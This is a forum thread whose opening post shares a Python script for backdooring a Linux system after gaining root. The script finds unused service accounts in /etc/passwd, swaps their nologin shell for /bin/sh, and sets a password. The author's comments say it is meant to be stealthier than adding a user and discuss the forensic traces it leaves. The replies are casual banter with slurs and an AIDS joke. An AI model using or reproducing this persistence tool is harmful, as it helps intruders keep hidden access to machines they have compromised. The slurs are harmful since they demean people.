2017-08-30 at 12:27 AM UTC
#!/usr/bin/env python
# so this is something i made in about 20-30 minutes because i was looking at old threads and saw someone say something along the lines of
# "change the login shell of an unused account to /bin/sh and change the password of the account"
# the context of what they said is lost to me, i don't remember why they said what they said
# but here u go. how to convolute one sed command or a tiny bit of file editing and password changing in 90 lines :D
# i do feel autistic but i was very bored
# whipped up with python 3.6.2 in mind, but the changes won't be too drastic if you want this to work on older versions
# changing the login shell of an unused account is less noticeable than adding a completely new user, but once the password for the existing user
# has been changed, the hashed password will show up in /etc/shadow. only people able to see the pw hash in shadow though are users with root privs.
# normal users (on most default setups) can read /etc/passwd and see that an account like mail or some shit has a /bin/sh login shell. SKETCH SKETCH SKETCH
# moral of the story: just use rootkits
# mem@xmpp.is
import os
if os.getuid() != 0:
print(" [-] not root, exiting")
quit()
# some people like to be gay
PASSWD = "/etc/passwd"
# add usernames to this list and the script will ignore them completely
IGNORE_USR = ["root"]
# only look for accounts in /etc/passwd which login shells equal below
SEEK_LOGIN_SHELL = ["/usr/bin/nologin", "/sbin/nologin", "/bin/false"]
# new shell to replace above with
NEW_SHELL = "/bin/sh"
if not os.path.exists(PASSWD):
print("[-] passwd file {0} doesn't exist".format(PASSWD))
quit()
# get usernames from /etc/passwd based on which accounts are being ignored and which accounts adhere to which login shells to look for
# ask user which account they would like to 'backdoor'
# change last parameter "/sbin/nologin" "/usr/bin/nologin" or"/bin/false" to "/bin/sh"
# change password of specified account
def split_passwd():
passwd_fd = open(PASSWD, "r") # open /etc/passwd for reading
l_passwd = passwd_fd.read().split("\n") # split /etc/passwd by every newline character
passwd_fd.close()
return l_passwd
# the difference between this and seek_passwd_uname() is that this searches for all usernames in /etc/passwd. the one below searches for one specific account and returns that account line as a list
def seek_passwd_unames():
l_passwd = split_passwd()
unames = []
for x in l_passwd:
l_x = x.split(":") # split each line by every colon separator
if l_x[0] in IGNORE_USR: continue # if we find a user we want to ignore, skip this iteration of the loop and move onto the next line of /etc/passwd
if l_x[-1] in SEEK_LOGIN_SHELL: unames.append(l_x[0]) # we've cut down the users in /etc/passwd to the users we want and can add said users to our list for later
return unames
# find specified account entry line in /etc/passwd
def seek_passwd_uname(user):
l_passwd = split_passwd()
for x in l_passwd:
l_x = x.split(":")
if l_x[0] == user: return x.split(":")
print("[-] error. couldn't find specified user in {0}. wtf ???????".format(PASSWD))
quit()
# replace old login shell option in list with new shell and build new /etc/passwd account entry string
def change_acc_shell(ent):
new_ent = ent
for x in SEEK_LOGIN_SHELL:
if ent[-1] == x:
new_ent = [acc.replace(x, NEW_SHELL) for acc in new_ent] # replace default login shell with our new specified shell (default /bin/sh)
return ':'.join(map(str, new_ent)) # build new /etc/passwd account entry
def replace_acc_entry(old, new):
passwd_fd = open(PASSWD, "r+")
o_passwd_contents = passwd_fd.read()
n_passwd_contents = o_passwd_contents.replace(':'.join(map(str, old)), new)
passwd_fd.seek(0)
passwd_fd.write(n_passwd_contents)
passwd_fd.truncate()
if __name__ == "__main__":
print("[+] starting")
users = seek_passwd_unames()
print("[+] available currently unused accounts:\n" + ','.join(map(str, users)))
acc = ""
while not acc in users:
acc = input("[!] which account would you like to use?: ")
if not acc in users: print("[-] you specified an unavailable account fucko, try again")
else: break
new_entry = change_acc_shell(seek_passwd_uname(acc))
print("[+] replacing old account entry in {0} with new account".format(PASSWD))
replace_acc_entry(seek_passwd_uname(acc), new_entry)
print("[+] account entry changed. changing password for account")
os.system("passwd {0}".format(acc)) # fucking SUE ME
print("[+] finished")
oh also the times of file modifications to /etc/passwd (when no new account has been added) and shadow will give off an indication that something's weird
Post last edited by mempodippy at 2017-08-30T03:34:24.769061+00:00
The following users say it would be alright if the author of this
post didn't die in a fire!
2017-08-30 at 12:37 AM UTC
yes ((no))
..
everything i typed in the commenting in the script wasn't worth repeating in the post
and i did actually add onto the post with stuff i didn't comment
2017-08-30 at 12:42 AM UTC
Ok.
Welcome to the forum, I guess. Enjoy yourself and stay away from Bill Krozby. He has AIDS.
2017-08-30 at 12:47 AM UTC
thanks
i'll try my best but aids often finds its way to me
2017-08-30 at 2:04 AM UTC
OP seems a like Sophie. I like Sophie.
2017-08-30 at 2:05 AM UTC
i'm not sophie but sophie is a kool kat.
2017-08-30 at 2:17 AM UTC
Nicu, i like Sophie too btw. Oh and double btw, you can also post in code tags like so:
[_code_] # Code and such [/_code_]
Without underscores.
Thanks for sharing. Also python 3.x, that reminds in 30 months 2.7 is getting retired, rip. The shittiest thing about that is i learned library specific syntax for 2.7 and i don't think all of them are getting ported to 3.x so eh, i'll make do though.
2017-08-30 at 2:25 AM UTC
thanks i wasn't sure what bb codes were available
python isn't really ever that difficult to adapt to when version changes fuck everything up... it's just fucking annoying time after time. LIKE STOP